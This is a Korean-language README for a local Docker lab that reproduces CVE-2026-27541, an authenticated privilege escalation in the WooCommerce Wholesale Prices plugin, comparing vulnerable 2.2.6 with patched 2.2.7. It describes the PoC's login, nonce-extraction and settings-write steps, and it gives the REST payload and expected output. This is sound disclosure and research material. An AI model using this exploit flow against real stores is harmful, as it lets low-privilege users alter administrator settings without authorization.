
# CVE-2026-27541 재현용 Docker 랩 WooCommerce Wholesale Prices의 인증된 권한 상승 취약점인 CVE-2026-27541을 재현하기 위한 Docker 랩입니다. 취약한 빌드와 패치된 빌드를 비교하며, PoC 스크립트와 근본 원인 분석을 포함합니다.

이 프로젝트는 WooCommerce Wholesale Prices / Wholesale Suite 플러그인의 CVE-2026-27541 동작을 분석하고 재현하기 위한 로컬 Docker 실습 환경으로, 동일한 머신에서 취약한 빌드와 패치된 빌드를 나란히 비교합니다.
핵심 문제는 다음 REST API 엔드포인트의 깨진 접근 제어(Broken Access Control) 입니다:
/wp-json/wwp/v1/admin/save
이 실습 환경에 사용된 소스 코드를 기준으로, 해당 라우트는 취약한 빌드와 패치된 빌드 모두 이미 permission_callback을 가지고 있습니다. 그러나 영향을 받는 버전은 관리자 설정 쓰기 작업에 비해 너무 광범위한 권한 검사를 사용합니다:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )이 실습 환경에서 shop_manager 역할을 가진 사용자 shopmgr은 manage_woocommerce=true이지만 manage_options는 없습니다. 결과적으로 이 낮은 권한의 사용자는 유효한 로그인 세션과 유효한 X-WP-Nonce를 사용하여 취약한 빌드에서 관리자 설정 저장 엔드포인트를 호출할 수 있는 반면, 패치된 빌드는 동일한 요청에 대해 403 rest_forbidden을 반환합니다.
2.2.6): 사용자 shopmgr이 POST /wp-json/wwp/v1/admin/save를 성공적으로 호출하고 플러그인 설정을 수정할 수 있습니다.2.2.7): shopmgr의 동일한 요청이 403으로 거부됩니다.403을 반환하며, 이는 인증 후 권한 상승 문제와 일치합니다.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC를 저장하는 반면, 패치된 빌드는 여전히 See wholesale prices를 반환합니다.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → 별도의 MariaDB 데이터베이스seed-vuln / seed-patched → WordPress 설치, 플러그인 설치, 사용자 생성, 테스트용 상품 생성을 수행하는 wp-cli 시드 작업http://localhost:8081 → 취약한 버전http://localhost:8082 → 패치된 버전wordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — 별도의 데이터베이스를 가진 취약한 스택과 패치된 스택을 정의scripts/seed-wp.sh — WordPress, WooCommerce, 대상 플러그인을 설치하고 테스트 사용자 및 상품 데이터를 생성poc.py — 로그인, nonce 추출, REST 엔드포인트 호출을 위한 최소 피해 PoC스택이 준비되면 시드 스크립트가 다음을 생성합니다:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7스크립트는 또한 각 WordPress 컨테이너에 lab-secrets.json을 작성하여 시드된 데이터와 버전 정보를 확인할 수 있게 합니다.
이 PoC는 사이트 장악, 역할 변경, 플러그인 설치, 셸 실행을 시도하지 않습니다.
다음 작업만 수행합니다:
shopmgr로 로그인wpApiSettings.nonce 추출wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
이 설정은 낮은 권한의 사용자가 관리자 전용 구성을 수정할 수 있음을 입증하는 관찰 가능한 마커로 사용됩니다.
POST /wp-json/wwp/v1/admin/save엔드포인트가 유효한 세션과 nonce를 요구하지만, 취약한 버전은 shop_manager 역할을 가진 shopmgr과 같은 낮은 권한의 사용자가 관리자 전용이어야 하는 엔드포인트를 호출할 수 있게 합니다.
이는 인증되지 않은 취약점이 아닙니다.
로그인 세션 없이 엔드포인트를 직접 호출하면 취약한 빌드와 패치된 빌드 모두 요청을 거부합니다. 버그는 인증 후의 권한 부여에 존재하며, 인증 자체에는 없습니다.
취약한 버전은 permission_callback이 누락된 것이 아닙니다. 결함은 관리자 측 설정을 쓰는 REST 작업에 너무 광범위한 권한 검사(manage_woocommerce)를 사용한다는 점입니다.
includes/class-wwp-admin-settings.php의 소스 코드 기준:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()로 라우팅합니다permission_admin_check()를 permission_callback으로 사용합니다2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
이 실습 환경에서 shop_manager 역할을 가진 사용자 shopmgr은 manage_woocommerce=true이지만 manage_options는 없으므로 취약한 검사는 통과하지만 패치된 검사는 실패합니다.
패치된 버전은 응답을 200에서 403으로 변경하는 것 이상을 수행합니다. 권한 요구 사항을 manage_woocommerce에서 manage_options로 강화하여 접근 제어 로직을 변경합니다.
또한 패치된 빌드의 저장 경로는 접두사 기반 필터링에서 명시적 허용 목록과 더 강력한 삭제(sanitization) 방식으로 전환하여 추가로 강화되었습니다.
PoC는 실제 브라우저 컨텍스트와 동일한 흐름을 따릅니다:
shopmgr로 로그인wpApiSettings.nonce 추출POST /wp-json/wwp/v1/admin/save 호출취약한 빌드는 manage_woocommerce 권한을 가진 사용자가 이 설정 쓰기 작업을 호출할 수 있게 하므로 요청이 성공하고 영구적인 옵션 변경이 발생합니다.
nonce는 CSRF를 방지하는 데 도움이 되지만 권한 부여 제어는 아닙니다.
유효한 세션과 유효한 nonce를 가졌다고 해서 사용자가 관리자 작업을 수행할 수 있어야 한다는 의미는 아닙니다. 권한 있는 엔드포인트에 너무 광범위한 권한을 사용하는 것만으로도 낮은 권한의 권한 부여 우회가 발생할 수 있습니다.
docker compose up -d --build
docker compose ps
최소한 다음이 표시되어야 합니다:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py는 다음과 같이 작동합니다:
GET /wp-login.php
POST /wp-login.php로 인증된 세션 설정
플러그인 관리자 페이지 열기:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
HTML/JavaScript에서 wpApiSettings.nonce와 REST 루트 추출
다음으로 요청 전송:
/wp-json/wwp/v1/admin/save
페이로드 제출:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)예상 출력:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)예상 출력:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
취약한 노드에서 PoC가 성공한 후:
PWNED_BY_POC
이 버그 클래스의 실질적 영향은 낮은 권한의 사용자가 관리자 전용이어야 하는 구성을 수정할 수 있다는 것이며, 이는 직접적으로 다음으로 이어질 수 있습니다:
이 실습은 취약점 조건을 증명하는 데 필요한 범위를 넘어서는 역할 변경이나 권한 상승을 피하기 위해 의도적으로 안전하고 관찰 가능한 페이로드를 사용합니다.
docker compose down -v
localhost에만 바인딩됨이 실습은 CVE-2026-27541이 플러그인의 REST API 설정 엔드포인트에서 인증된 낮은 권한의 권한 부여 우회임을 보여줍니다. 버전 2.2.6의 결함은 권한 검사가 없다는 것이 아니라 manage_options 수준으로 제한되어야 하는 작업에 너무 광범위한 권한(manage_woocommerce)을 사용한다는 점입니다.
이 로컬 환경에서:
shopmgr은 취약한 검사를 통과하고 POST /wp-json/wwp/v1/admin/save를 통해 관리자 측 설정을 성공적으로 수정할 수 있습니다2.2.7에서는 차단됩니다PWNED_BY_POC를 영구 저장하는 반면, 패치된 빌드는 그렇지 않습니다결과적으로 이 저장소는 완전히 통제된 로컬 환경에서 취약한 버전과 패치된 버전의 차이에 대한 동작 증명과 코드 기반 증명을 모두 제공합니다.